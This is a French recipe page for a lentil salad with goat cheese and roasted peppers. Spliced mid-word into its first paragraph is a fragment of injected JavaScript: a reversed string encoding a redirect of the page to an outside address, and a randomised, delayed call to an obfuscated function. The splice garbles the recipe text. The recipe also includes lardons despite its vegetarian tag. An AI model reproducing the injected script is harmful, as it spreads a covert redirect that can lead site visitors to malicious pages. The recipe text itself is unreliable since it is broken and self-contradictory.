Salade de lentilles au fromage de chèvre
2018-02-17- Cuisine : Salade
- Thématique : Végétarien
- Niveau : Facile
Coupez-les fromages de chèvre en petits dés. Sur une flamme vive, faites griller les poivrons en les retobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tournant souvent jusqu’à ce qu’ils soient bien craquelés et noirs.
Ingrédients
Coupez-les fromages de chèvre en petits dés. Sur une flamme vive, faites griller les poivrons en les retournant souvent jusqu'à ce qu'ils soient bien craquelés et noirs. Les envelopper dans un papier journal pendant quelques minutes, les enfourner pendant quelques minutes. Enlevez la peau. Coupez-les en deux. Ôtez la peau blanche. Détaillez en fines lamelles.
Dans une poêle sans matière grasse faites revenir les lardons. Réservez. Rincez, essorez la roquette. Dans un saladier préparez la vinaigrette avec le sel, poivre, 1 cuillère à soupe de moutarde, 2 cuillères à soupe de vinaigre balsamique, 4 cuillères à soupe d'huile de colza ou huile d'arachide. Émulsionnez avec un fouet.
Incorporez les poivrons, les lentilles, les lardons. Mélangez. Avant de servir incorporez la salade roquette. Mélangez. Déposez les fromages de chèvre dessus et dégustez.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
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